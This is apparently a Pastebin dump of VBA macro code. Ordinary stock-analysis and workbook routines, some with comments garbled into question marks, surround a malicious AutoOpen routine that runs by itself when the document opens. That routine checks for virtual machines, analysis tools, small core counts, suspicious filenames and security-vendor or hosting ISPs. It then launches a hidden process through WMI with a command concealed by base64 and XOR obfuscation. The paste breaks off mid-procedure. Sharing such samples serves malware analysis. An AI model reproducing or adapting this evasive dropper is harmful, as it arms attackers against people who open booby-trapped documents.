James_inthe_box

Macro

Nov 25th, 2019
2,431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.40 KB | None | 0 0
  1. Private Const CP_UTF8 As Long = 65001
  2.  
  3. #If Win64 Then
  4. Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr
  5. Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long
  6. #Else
  7. Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
  8. Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long
  9.  
  10. #End If
  11.  
  12.  
  13.  
  14. Sub HW_AllStocksAnalysis()
  15. yearValue = InputBox("What year would you like to run the analysis on?")
  16.  
  17. Worksheets("Challenge_All Stocks Anlysis").Activate
  18. Range("A1").Value = "All Stocks (" + yearValue + ")"
  19. 'Create a header row
  20. Cells(3, 1).Value = "Ticker"
  21. Cells(3, 2).Value = "Total Daily Volume"
  22. Cells(3, 3).Value = "Return"
  23.  
  24. 'declare 4 arrays
  25. Dim tickers(12) As String
  26. Dim volume(12) As String
  27. Dim startingPrices(12) As String
  28. Dim endingPrices(12) As String
  29. 'create index variable
  30. Dim tickerIndex As Integer
  31.  
  32. Worksheets(yearValue).Activate
  33. RowCount = Cells(Rows.Count, "A").End(xlUp).Row
  34.  
  35. '(1)the outer loop for index from 0 to 11
  36. tickerIndex = 0
  37.  
  38. Worksheets(yearValue).Activate
  39. For tickerIndex = 0 To 11
  40. '(2)the main loop for stock data
  41. Worksheets(yearValue).Activate
  42. For j = 2 To RowCount
  43. 'retrieve ticker name and start price for each tickerIndex and store them in arrays
  44. If Cells(j, 1).Value <> Cells(j - 1, 1).Value Then
  45. tickers(tickerIndex) = Cells(j, 1).Value
  46. startingPrices(tickerIndex) = Cells(j, 6).Value
  47. End If
  48. '(3)a nested loop for retrieving TotalVolume for each volume array
  49. Worksheets(yearValue).Activate
  50. TotalVolume = 0
  51. For x = 2 To RowCount
  52. If Cells(x, 1).Value = tickers(tickerIndex) Then
  53. TotalVolume = TotalVolume + Cells(x, 8).Value
  54. End If
  55. Next x
  56.  
  57. volume(tickerIndex) = TotalVolume
  58.  
  59. 'retrieve and store ending price in array as well as increment tickerIndex for next loop
  60. If Cells(j + 1, 1).Value <> Cells(j, 1).Value Then
  61. endingPrices(tickerIndex) = Cells(j, 6).Value
  62. tickerIndex = tickerIndex + 1
  63. End If
  64. Next j
  65.  
  66. Next tickerIndex
  67.  
  68. '(4)store all informations collected in a output worksheet
  69. Worksheets("Challenge_All Stocks Anlysis").Activate
  70. For i = 0 To 11
  71.  
  72. Cells(i + 4, 1).Value = tickers(i)
  73. Cells(i + 4, 3).Value = endingPrices(i) / startingPrices(i) - 1
  74. Cells(4 + i, 2).Value = volume(i)
  75.  
  76. Next i
  77.  
  78. 'formatting
  79. Worksheets("Challenge_All Stocks Anlysis").Activate
  80. Range("A3:C3").Font.Bold = True
  81. Range("A1").Font.FontStyle = "Bold"
  82. Range("A3:C3").Borders(xlEdgeBottom).LineStyle = xlContinuous
  83. Range("B4:B15").NumberFormat = "#,##0"
  84. Range("c4:c15").NumberFormat = "0.0%"
  85. Columns(2).AutoFit
  86. 'color conditional formatting
  87. Worksheets("Challenge_All Stocks Anlysis").Activate
  88. dataRowEnd = Cells(Rows.Count, "C").End(xlUp).Row
  89. dataRowStart = 4
  90. For r = dataRowStart To dataRowEnd
  91. If Cells(r, 3).Value > 0 Then
  92. Cells(r, 3).Interior.Color = vbGreen
  93. ElseIf Cells(r, 3).Value < 0 Then
  94. Cells(r, 3).Interior.Color = vbRed
  95. Else
  96. Cells(r, 3).Interior.Color = xlNone
  97. End If
  98. Next r
  99.  
  100.  
  101. End Sub
  102.  
  103. Sub analyze_stocks()
  104. '' Declare variables
  105. Dim WS As Worksheet, i As Long, last_row As Long, result_table_row As Integer
  106. Dim open_price As Double, close_price As Double, yearly_change As Double, yearly_change_percentage As Double, total_stock_vol As LongLong
  107. Dim greatest_increase_ticker As String, greatest_increase_percentage As Double, greatest_decrease_ticker As String, greatest_decrease_percentage As Double, greatest_total_ticker As String, greatest_total_volume As LongLong
  108.  
  109. '' Loop through Worksheets
  110. For Each WS In Worksheets
  111. '' Set Result Table headers
  112. WS.Cells(1, 9).Value = "Ticker"
  113. WS.Cells(1, 10).Value = "Yearly Change"
  114. WS.Cells(1, 11).Value = "Percentage Change"
  115. WS.Cells(1, 12).Value = "Total Stock Volume"
  116. WS.Cells(1, 15).Value = "Ticker"
  117. WS.Cells(1, 16).Value = "Value"
  118.  
  119. '' Count number of rows
  120. last_row = WS.Cells(Rows.Count, 1).End(xlUp).Row
  121.  
  122. '' Initialize Values
  123. result_table_row = 2
  124. total_stock_vol = 0
  125. greatest_increase_ticker = ""
  126. greatest_increase_percentage = 0
  127. greatest_decrease_ticker = ""
  128. greatest_decrease_percentage = 0
  129. greatest_total_ticker = ""
  130. greatest_total_volume = 0
  131.  
  132. '' Print first ticker's value
  133. WS.Cells(result_table_row, 9).Value = WS.Cells(2, 1).Value
  134.  
  135. '' Set first ticker's open price
  136. open_price = WS.Cells(2, 3).Value
  137.  
  138. '' Loop through rows
  139. For i = 2 To last_row
  140. total_stock_vol = total_stock_vol + WS.Cells(i, 7).Value
  141. If (WS.Cells(i, 1).Value <> WS.Cells(i + 1, 1).Value) Then
  142. '' Set previous ticker's close price and calculate yearly change before overriding open price.
  143. close_price = WS.Cells(i, 6).Value
  144. yearly_change = close_price - open_price
  145.  
  146. '' Div by 0 error handling
  147. If open_price <> 0 Then
  148. yearly_change_percentage = yearly_change / open_price
  149. Else
  150. yearly_change_percentage = 0
  151. End If
  152.  
  153. '' Find greatest increase percentage by comparing it with a previous value to find a maximum.
  154. If yearly_change_percentage > greatest_increase_percentage Then
  155. greatest_increase_percentage = yearly_change_percentage
  156. greatest_increase_ticker = WS.Cells(i, 1).Value
  157. End If
  158.  
  159. '' Find greatest decrease percentage by comparing it with a previous value to find a minimum.
  160. If yearly_change_percentage < greatest_decrease_percentage Then
  161. greatest_decrease_percentage = yearly_change_percentage
  162. greatest_decrease_ticker = WS.Cells(i, 1).Value
  163. End If
  164.  
  165. '' Find greatest volume by comparing it with a previous value to find a maximum
  166. If total_stock_vol > greatest_total_volume Then
  167. greatest_total_volume = total_stock_vol
  168. greatest_total_ticker = WS.Cells(i, 1).Value
  169. End If
  170.  
  171. '' Set calculated values to result table
  172. WS.Cells(result_table_row, 10).Value = yearly_change
  173. WS.Cells(result_table_row, 11).Value = Format(yearly_change_percentage, "0.00%")
  174. WS.Cells(result_table_row, 12).Value = total_stock_vol
  175.  
  176. '' Set percentage change cell background color to green for positive values and red for negative values
  177. If yearly_change > 0 Then
  178. WS.Cells(result_table_row, 10).Interior.ColorIndex = 4
  179. Else
  180. WS.Cells(result_table_row, 10).Interior.ColorIndex = 3
  181. End If
  182.  
  183. '' Set result_table_row to next row
  184. result_table_row = result_table_row + 1
  185.  
  186. '' Reset total_stock_vol to 0 to reuse it for a next ticker
  187. total_stock_vol = 0
  188.  
  189. '' Print next ticker's value (A, AA, etc.)
  190. WS.Cells(result_table_row, 9).Value = WS.Cells(i + 1, 1).Value
  191.  
  192. '' Set open price for a next ticker
  193. open_price = WS.Cells(i + 1, 3).Value
  194.  
  195. End If
  196. Next i
  197.  
  198. '' Setting up values after looping through all rows
  199. WS.Cells(2, 14).Value = "Greatest % Increase"
  200. WS.Cells(2, 15).Value = greatest_increase_ticker
  201. WS.Cells(2, 16).Value = Format(greatest_increase_percentage, "0.00%")
  202.  
  203. WS.Cells(3, 14).Value = "Greatest % Decrease"
  204. WS.Cells(3, 15).Value = greatest_decrease_ticker
  205. WS.Cells(3, 16).Value = Format(greatest_decrease_percentage, "0.00%")
  206.  
  207. WS.Cells(4, 14).Value = "Greatest Total Volume"
  208. WS.Cells(4, 15).Value = greatest_total_ticker
  209. WS.Cells(4, 16).Value = greatest_total_volume
  210.  
  211. Next WS
  212. End Sub
  213.  
  214. Public Sub StockAnalysis()
  215. Dim WS As Worksheet
  216. Dim Ticker As String
  217.  
  218. Dim vol As LongLong
  219.  
  220. Dim Summary_Table_Row As Long
  221.  
  222. Dim yearlyChange As Double
  223.  
  224. Dim percentChange As Double
  225.  
  226. Dim Tick_Begin As Long
  227. Dim Tick_End As Long
  228.  
  229. Dim changeMindex As Long
  230. Dim changeMaxdex As Long
  231.  
  232. Dim volMaxdex As Long
  233.  
  234. For Each WS In Worksheets
  235. vol = 0
  236. WS.Cells(1, 10).Value = "Ticker"
  237. WS.Cells(1, 11).Value = "Yearly Change"
  238. WS.Cells(1, 12).Value = "Percent Change"
  239. WS.Cells(1, 13).Value = "Total Stock Volume"
  240.  
  241. Tick_Begin = 2
  242. Tick_End = nextIndex(2, WS) - 1
  243. Summary_Table_Row = 2
  244.  
  245. While Not IsEmpty(WS.Cells(Tick_Begin, 1))
  246. Ticker = TickerVal(Tick_Begin, WS)
  247. vol = volume(Tick_Begin, Tick_End, WS)
  248. yearlyChange = Delta(Tick_Begin, Tick_End, WS)
  249. percentChange = PercentDelta(Tick_Begin, Tick_End, WS)
  250.  
  251. WS.Cells(Summary_Table_Row, 10).Value = Ticker
  252. WS.Cells(Summary_Table_Row, 11).Value = yearlyChange
  253. WS.Cells(Summary_Table_Row, 12).Value = percentChange
  254. WS.Cells(Summary_Table_Row, 13).Value = vol
  255.  
  256. If (yearlyChange > 0) Then
  257. WS.Cells(Summary_Table_Row, 11).Interior.ColorIndex = 4
  258. ElseIf (yearlyChange < 0) Then
  259. WS.Cells(Summary_Table_Row, 11).Interior.ColorIndex = 3
  260. End If
  261.  
  262. WS.Cells(Summary_Table_Row, 12).NumberFormat = "0.00%"
  263.  
  264. Tick_Begin = Tick_End + 1
  265. Tick_End = nextIndex(Tick_Begin, WS) - 1
  266. Summary_Table_Row = Summary_Table_Row + 1
  267. Wend
  268.  
  269. Summary_Table_Row = Summary_Table_Row - 1
  270.  
  271. WS.Cells(2, 15).Value = "Greatest Percent Increase"
  272. WS.Cells(3, 15).Value = "Greatest Percent Decrease"
  273. WS.Cells(4, 15).Value = "Greatest Total Volume"
  274.  
  275. WS.Cells(1, 16).Value = "Ticker"
  276. WS.Cells(1, 17).Value = "Value"
  277.  
  278.  
  279. changeMindex = ArgMin(2, Summary_Table_Row, 12, WS)
  280. changeMaxdex = ArgMax(2, Summary_Table_Row, 12, WS)
  281.  
  282. WS.Cells(2, 16).Value = WS.Cells(changeMaxdex, 10).Value
  283. WS.Cells(2, 17).Value = WS.Cells(changeMaxdex, 12).Value
  284. WS.Cells(2, 17).NumberFormat = "0.00%"
  285.  
  286. WS.Cells(3, 16).Value = WS.Cells(changeMindex, 10).Value
  287. WS.Cells(3, 17).Value = WS.Cells(changeMindex, 12).Value
  288. WS.Cells(3, 17).NumberFormat = "0.00%"
  289.  
  290. volMaxdex = ArgMax(2, Summary_Table_Row, 13, WS)
  291. WS.Cells(4, 16).Value = WS.Cells(volMaxdex, 10).Value
  292. WS.Cells(4, 17).Value = WS.Cells(volMaxdex, 13).Value
  293.  
  294. Next WS
  295. End Sub
  296.  
  297.  
  298. Sub AllBookClose()
  299.  
  300. Workbooks.Close
  301.  
  302. End Sub
  303.  
  304. '*******************************************************************************
  305. ' ????????????
  306. '*******************************************************************************
  307. Sub ActiveBookClose()
  308.  
  309. ActiveWorkbook.Close
  310.  
  311. End Sub
  312.  
  313. '*******************************************************************************
  314. ' ?????????1
  315. '*******************************************************************************
  316. Sub SiteiBookClose()
  317.  
  318. Workbooks("Dummy.xls").Close
  319. ' Workbooks(5).Close
  320.  
  321. End Sub
  322.  
  323. '*******************************************************************************
  324. ' ?????????? (????)
  325. '*******************************************************************************
  326. Sub BookSave_NoConf()
  327.  
  328. Workbooks("Dummy.xls").Close SaveChanges:=True
  329.  
  330. End Sub
  331.  
  332. '*******************************************************************************
  333. ' ???????????? (????)
  334. '*******************************************************************************
  335. Sub BookCancel_NoConf()
  336.  
  337. Workbooks("Dummy.xls").Close SaveChanges:=False
  338.  
  339. End Sub
  340.  
  341. '*******************************************************************************
  342. ' ??? ?????
  343. '*******************************************************************************
  344. Sub BookActivate()
  345.  
  346. Workbooks("Dummy.xls").Activate
  347.  
  348. End Sub
  349.  
  350. '*******************************************************************************
  351. ' ??? ??
  352. '*******************************************************************************
  353. Sub BookSave()
  354.  
  355. ActiveWorkbook.Save
  356. ' Workbooks("Dummy.xls").Save
  357.  
  358. End Sub
  359.  
  360. '*******************************************************************************
  361. ' ????? ??
  362. '*******************************************************************************
  363. Sub NewSheetInsert()
  364.  
  365. Worksheets.Add
  366. ' Worksheets.Add after:=Worksheets(1), Count:=2
  367.  
  368. End Sub
  369.  
  370. '*******************************************************************************
  371. ' ??? ??????
  372. '*******************************************************************************
  373. Sub BookSave_NewNamed()
  374.  
  375. ActiveWorkbook.SaveAs Filename:="C:\Documents and Settings\????\My Documents\Dummy2.xls"
  376.  
  377. End Sub
  378.  
  379. '*******************************************************************************
  380. ' ?????
  381. '*******************************************************************************
  382. ' ????:??????????????1????199??????101??
  383. ' ????
  384. '*******************************************************************************
  385. Sub Input1to100()
  386.  
  387. Dim i As Integer
  388. Dim j As Integer
  389.  
  390. Worksheets("Sheet1").Activate
  391. Cells.Select
  392. Selection.ColumnWidth = 3.5
  393. Range("a1").Select
  394.  
  395. For i = 1 To 100
  396. Cells(i, i) = i
  397. Next i
  398. For i = 101 To 199
  399. j = i - 100
  400. Cells(i, 100).Offset(, -j) = i
  401. Next i
  402.  
  403. End Sub
  404.  
  405. '*******************************************************************************
  406. ' ??????? ???
  407. '*******************************************************************************
  408. Sub CellClearContents()
  409.  
  410. Cells.Select
  411. Selection.ClearContents
  412. Range("a1").Select
  413.  
  414. End Sub
  415.  
  416. '*******************************************************************************
  417. ' ?????
  418. '*******************************************************************************
  419. Sub RowHidden()
  420.  
  421. Workbooks("Book1").Activate
  422. Worksheets("Sheet2").Rows("5:7").Hidden = True
  423.  
  424. End Sub
  425.  
  426. '*******************************************************************************
  427. ' ???????????
  428. '*******************************************************************************
  429. Sub RowsCountGet()
  430.  
  431. ' ???????????
  432. ActiveWorkbook.Worksheets("Sheet1").Activate
  433. Range("b10:f18").Select
  434.  
  435. MsgBox Selection.Rows.Count
  436. 'EntireRow ???????
  437. Selection.EntireRow.Value = "VBA"
  438.  
  439. '??????????
  440. MsgBox ActiveSheet.Rows.Count
  441.  
  442. End Sub
  443.  
  444. '*******************************************************************************
  445. ' ????????????????????Select
  446. '*******************************************************************************
  447. Sub CurrentRegionVisibleSelect()
  448.  
  449. Range("A1").CurrentRegion.SpecialCells(xlCellTypeVisible).Select
  450.  
  451. End Sub
  452.  
  453. '*******************************************************************************
  454. ' ???????Copy
  455. '*******************************************************************************
  456. Sub CurrentRegionVisibleCopy()
  457.  
  458. ' (?????????????????Copy??????????)
  459. Range("A1").CurrentRegion.Select
  460. Selection.SpecialCells(xlCellTypeVisible).Copy
  461.  
  462. ' ???????????
  463. Worksheets("Sheet2").Select
  464. ActiveSheet.Paste
  465.  
  466. End Sub
  467.  
  468. '*******************************************************************************
  469. ' ????????????????????????????
  470. '*******************************************************************************
  471. Sub LastCellAddressGet1()
  472.  
  473. MsgBox ActiveSheet.Cells.SpecialCells(xlCellTypeLastCell).Address()
  474.  
  475. End Sub
  476.  
  477. '*******************************************************************************
  478. ' ????????????(:)????????????
  479. '*******************************************************************************
  480. Sub LastCellAddressGet2()
  481.  
  482. Dim myLastCell As String
  483.  
  484. myLastCell = ActiveSheet.UsedRange.Address()
  485.  
  486. myLastCell = Mid(myLastCell, InStr(myLastCell, ":") + 1)
  487. MsgBox myLastCell
  488. End Sub
  489.  
  490.  
  491.  
  492. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  493. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  494. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  495. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  496. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  497. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  498.  
  499.  
  500.  
  501. Public Function ToBase64(sValue As String, Optional ByVal MultiLine As Boolean) As String
  502. Dim baValue() As Byte
  503. Dim lSize As Long
  504.  
  505. With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
  506. .DataType = "bin.base64"
  507. ReDim baValue(0 To 4 * Len(sValue))
  508. lSize = WideCharToMultiByte(CP_UTF8, 0, StrPtr(sValue), Len(sValue), baValue(0), UBound(baValue) + 1, 0, 0)
  509. If lSize > 0 Then
  510. ReDim Preserve baValue(0 To lSize - 1)
  511. .NodeTypedValue = baValue
  512. End If
  513. ToBase64 = .text
  514. If Not MultiLine Then
  515. ToBase64 = Replace(Replace(ToBase64, vbCrLf, vbNullString), vbLf, vbNullString)
  516. End If
  517. End With
  518. End Function
  519.  
  520. Sub AutoOpen()
  521. Dim Vniko As String
  522.  
  523.  
  524. If checkProc() Or checkMac() Or checkPnP() Or checkBios() Or checkCores() Or checkFilenameBad() Or checkTasks() Then
  525. GoTo Fer
  526. End If
  527. If checkISP() Then
  528. GoTo Fer
  529. End If
  530.  
  531. Set Locator = CreateObject("WbemScripting.SWbemLocator")
  532. Set Retelo = Locator.ConnectServer()
  533. Retelo.Security_.ImpersonationLevel = 3
  534. Set cumami = Retelo.Get(yetras(Groa("IQwcQFM8OAwYAiEHABcdFlgkFhcTBhsWS0IXHgMCGgQVABYcTw4BBgQKARwHF0YGGQhVXzMGGwoaExcyBQcaAAUWPBIMBhtYIhcHFg=="), "versache"))
  535. With cumami
  536. If .StatusCode = 0 Then
  537. End
  538. ElseIf .StatusCode > 0 Then
  539. End
  540. End If
  541. End With
  542. Set Xewer = Retelo.Get("Win32_Process")
  543. On Error Resume Next
  544. Descritis = Xewer.Create(yetras(Groa("FQgWU04ASBUZEhcBEgsNCRpFXwQIDQwKARYGCg0GSA0fARYWD0NFBhkIHxIPB0gsGxUdARVOJQoSEB4WQSEBEQUxABIPEA4ABF5SIBUCGhFbJxsHEjcaBBgWFBYTQ0U2GRAAEARDABECFQFJTkwaBAFLFRoVCx0HAxYXAQIMBhETCwZdAgwFSgYKAhoKFw0XQ1NdAwgIHAwdSh8SEhcNF1kHHhwWTQ0dE0kaBxUTG19ZSgASFk0PDAINBxEUEA0XFQocBwQNHEsVCh9cEQwYDB0RFwFUVUcVHw4GGgpMBQQFERcBTgcNBAVJGgcVExtfWUoAEhZNDwwCDQcRFBANFxUKHAcEDRxLFQofXBEMGAwdERcBVFVHFR8OBhoKTAUEBREXAU4OADwOSxcLBENFIRMWBhoPAhwMGQtSL0NHDQsAXyY2LDM0BxoKBV0EGw05VEkuUUUGBhNMMTc+MT8MAAQELlFNP0pBEwsESTUmJTUqCBoqGU0NHRM5UFNHQ0gGExcGBhUKBEVbARcQDgcNRVMRFx4RRjQBExcTU0QXDQgGQC4XBBEJSxMdF1NHQxgKAQAAAAkGBAlWSAUaDwcHEgURCx8EQwAMEgEXHUFOCwobCBMdBUM7AAJIPhwCAhwMGQtSXjECHA1WOVBXBA0eXyIgPyM9QVNFJRETARVOOBcZBhcAEkMKCRkSXBYZBkhINxcVBgwGBhE6DAEHQQcNFxdLFwsE"), "versache"), Null, Null, Quilo)
  545. Fer:
  546. End Sub
  547.  
  548. Function checkISP() As Boolean
  549.  
  550.  
  551.  
  552. badISP = False
  553. badISPNames = Array("Amazon", "Anonymous", "Blue Coat Systems", "Cisco Systems", "Cloud", "Data Center", "Dedicated", "ESET", "FireEye", "Forcepoint", "Hetzner", "Hosted", "Hosting", "LeaseWeb", "Microsoft", "NForce", "OVH SAS", "Security", "Server", "Strong Technologies", "Trend Micro", "blackoakcomputers", "Datacamp")
  554.  
  555. Set request = CreateObject("WinHttp.WinHttpRequest.5.1")
  556.  
  557.  
  558. request.Open "GET", "https://www.maxmind.com/geoip/v2.1/city/me", False
  559. request.setRequestHeader "Referer", "https://www.maxmind.com/en/locate-my-ip-address"
  560. request.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
  561. request.setRequestHeader "Host", "www.maxmind.com"
  562. request.send
  563.  
  564.  
  565. For Each badName In badISPNames
  566. If InStr(request.responseText, badName) > 0 Then
  567. badISP = True
  568. End If
  569. Next
  570.  
  571.  
  572.  
  573.  
  574. checkISP = badISP
  575.  
  576. End Function
  577.  
  578. Function checkProc() As Boolean
  579.  
  580. Dim Name As String
  581. Dim Desc As String
  582.  
  583. badProc = False
  584. badMacNames = Array("vbox", "vmware", "vxstream", "autoit", "vmtools", "tcpview", "wireshark", "process explorer", "visual basic", "fiddler", "qemu", "virtual", "kvm", "xen", "redhat")
  585.  
  586. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  587. Set colAdapters = objWMIService.ExecQuery("SELECT * FROM Win32_Process")
  588. For Each objAdapter In colAdapters
  589.  
  590. Name = objAdapter.Name
  591.  
  592. For Each badName In badMacNames
  593. If InStr(LCase(Name), badName) > 0 Then
  594. badProc = True
  595. End If
  596. Next
  597. Next
  598.  
  599.  
  600.  
  601. checkProc = badProc
  602.  
  603. End Function
  604.  
  605. Function checkMac() As Boolean
  606.  
  607.  
  608.  
  609. badMac = False
  610. badMacNames = Array("00:50:56", "00:0C:29", "00:05:69", "80:00:27", "00:1C:42", "00:16:3E")
  611.  
  612. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  613. Set colAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapter")
  614. For Each objAdapter In colAdapters
  615.  
  616. MACAddress = objAdapter.MACAddress
  617. For Each badName In badMacNames
  618. If InStr(MACAddress, badName) > 0 Then
  619. badMac = True
  620. End If
  621. Next
  622. Next
  623.  
  624.  
  625.  
  626. checkMac = badMac
  627.  
  628. End Function
  629.  
  630.  
  631.  
  632.  
  633.  
  634.  
  635.  
  636.  
  637.  
  638. Function checkFilenameBad() As Boolean
  639.  
  640.  
  641.  
  642. badName = False
  643. badNames = Array("malware", "myapp", "sample", ".bin", "mlwr_", "Desktop")
  644.  
  645.  
  646. For Each n In badNames
  647. If InStr(LCase(ActiveDocument.FullName), n) > 0 Then
  648. badName = True
  649. End If
  650. Next
  651.  
  652.  
  653. checkFilenameBad = badName
  654.  
  655. End Function
  656.  
  657. Function checkTasks() As Boolean
  658.  
  659.  
  660.  
  661.  
  662. badTask = False
  663. badTaskNames = Array("vbox", "vmware", "vxstream", "autoit", "vmtools", "tcpview", "wireshark", "process explorer", "visual basic", "fiddler", "qemu")
  664.  
  665. For Each Task In Application.Tasks
  666.  
  667. For Each badTaskName In badTaskNames
  668. If InStr(LCase(Task.Name), badTaskName) > 0 Then
  669. badTask = True
  670. End If
  671. Next
  672.  
  673. Next
  674.  
  675. checkTasks = badTask
  676.  
  677. End Function
  678.  
  679. Function checkCores() As Boolean
  680.  
  681.  
  682.  
  683. badCores = False
  684.  
  685. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  686. Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
  687.  
  688. For Each objItem In colItems
  689.  
  690. If objItem.NumberOfLogicalProcessors < 3 Then
  691. badCores = True
  692. End If
  693.  
  694. Next
  695.  
  696. checkCores = badCores
  697.  
  698. End Function
  699.  
  700. Function checkBios() As Boolean
  701.  
  702.  
  703.  
  704. badBios = False
  705. badBiosNames = Array("virtualbox", "vmware", "kvm", "qemu", "xen", "redhat", "a m i")
  706.  
  707. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  708. Set colItems = objWMIService.ExecQuery("Select * from Win32_Bios", , 48)
  709.  
  710. For Each objItem In colItems
  711.  
  712. For Each badName In badBiosNames
  713. If InStr(LCase(objItem.SMBIOSBIOSVersion), badName) > 0 Then
  714. badBios = True
  715. End If
  716. If InStr(LCase(objItem.SerialNumber), badName) > 0 Then
  717. badBios = True
  718. End If
  719. Next
  720.  
  721. Next
  722.  
  723. checkBios = badBios
  724.  
  725. End Function
  726.  
  727. Function checkPnP() As Boolean
  728.  
  729.  
  730.  
  731. badPNP = False
  732. badPNPNames = Array("VEN_80EE", "VEN_15AD")
  733.  
  734. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  735. Set colItems = objWMIService.ExecQuery("Select * from Win32_PnPEntity", , 48)
  736.  
  737. For Each objItem In colItems
  738.  
  739. For Each badName In badPNPNames
  740. If InStr(LCase(objItem.DeviceId), badName) > 0 Then
  741. badPNP = True
  742. End If
  743. Next
  744.  
  745. Next
  746.  
  747. checkPnP = badPNP
  748.  
  749. End Function
  750.  
  751. Public Function Groa(sBase64 As String) As String
  752. Dim baValue() As Byte
  753. Dim sValue As String
  754. Dim lSize As Long
  755.  
  756. With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
  757. .DataType = "bin.base64"
  758. .text = sBase64
  759. baValue = .NodeTypedValue
  760. sValue = String$(4 * UBound(baValue), 0)
  761. lSize = MultiByteToWideChar(CP_UTF8, 0, baValue(0), UBound(baValue) + 1, StrPtr(sValue), Len(sValue))
  762. Groa = Left$(sValue, lSize)
  763. End With
  764. End Function
  765.  
  766. Private Function yetras(text As String, key As String) As String
  767. Dim bText() As Byte
  768. Dim bKey() As Byte
  769.  
  770. Dim TextUB As Long
  771. Dim KeyUB As Long
  772.  
  773.  
  774.  
  775. bText = StrConv(text, vbFromUnicode)
  776. bKey = StrConv(key, vbFromUnicode)
  777. TextUB = UBound(bText)
  778. KeyUB = UBound(bKey)
  779. Dim TextPos As Long
  780. Dim Trenfa As Long
  781. For TextPos = 0 To TextUB
  782. bText(TextPos) = bText(TextPos) Xor bKey(Trenfa)
  783. If Trenfa < KeyUB Then
  784. Trenfa = Trenfa + 1
  785. Else
  786. Trenfa = 0
  787. End If
  788. Next TextPos
  789. yetras = StrConv(bText, vbUnicode)
  790. End Function
  791.  
  792.  
  793.  
  794. Public Function DUPLO(file_path As String) As Boolean
  795.  
  796.  
  797. trega = Dir(file_path) <> ""
  798. Exit Function
  799.  
  800. DirErr:
  801. If Err.Number = 68 Then
  802. trega = False
  803. Else
  804. MsgBox Err.Description & " (" & Err.Number & ")", , "Run-time Error"
  805. Stop
  806. End If
  807. End Function
  808.  
  809. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  810. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  811. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  812.  
  813.  
  814. Public Sub COBOL?????????()
  815.  
  816. Const cnOutFile As String = "C:\Users\roshi_000\MyImp\MyOwn\Develop\Excel VBA\My VBA\Debug.txt" '##### Debug
  817.  
  818. Const cnStartBlk As Long = 45 '????????????
  819. Const cnStep As Long = -1 '???
  820.  
  821. Dim oNew As String '????
  822. Dim oOld As String '????
  823. Dim nBlock As Long '????????
  824.  
  825. Call sb????(oNew, oOld)
  826.  
  827. Set g_oTStrm = g_oFso.CreateTextFile(cnOutFile, True) '##### Debug
  828.  
  829. For nBlock = cnStartBlk To 1 Step cnStep
  830. Call sb???????(nBlock, oNew, oOld)
  831. Next
  832.  
  833. Call sb???Debug(oNew, oOld) '##### Debug
  834. 'Call sb??????(oNew, oOld)
  835. 'Call sb????
  836.  
  837. g_oTStrm.Close '##### Debug
  838.  
  839. End Sub
  840.  
  841. '*******************************************************************************
  842. ' ????
  843. '*******************************************************************************
  844. Private Sub sb????(oNew As String, oOld As String)
  845.  
  846. Dim sNewSheet As String
  847. Dim sOldSheet As String
  848.  
  849. sNewSheet = Application.InputBox(Prompt:="??????????????", Title:="???????", Type:=2)
  850. sOldSheet = Application.InputBox(Prompt:="??????????????", Title:="???????", Type:=2)
  851.  
  852. Call sb????????(oNew, sNewSheet)
  853. Call sb????????(oOld, sOldSheet)
  854.  
  855. oNew.oSoc(oNew.oPrp.nSocMaxidx).nOpidx = oOld.oPrp.nSocMaxidx
  856. oOld.oSoc(oOld.oPrp.nSocMaxidx).nOpidx = oNew.oPrp.nSocMaxidx
  857.  
  858. End Sub
  859.  
  860. '*******************************************************************************
  861. ' ????????
  862. '*******************************************************************************
  863. ' < ???? >
  864. ' ?????,????????????
  865. '*******************************************************************************
  866. Private Sub sb????????(oCmn As String, sCmnSheet As String)
  867.  
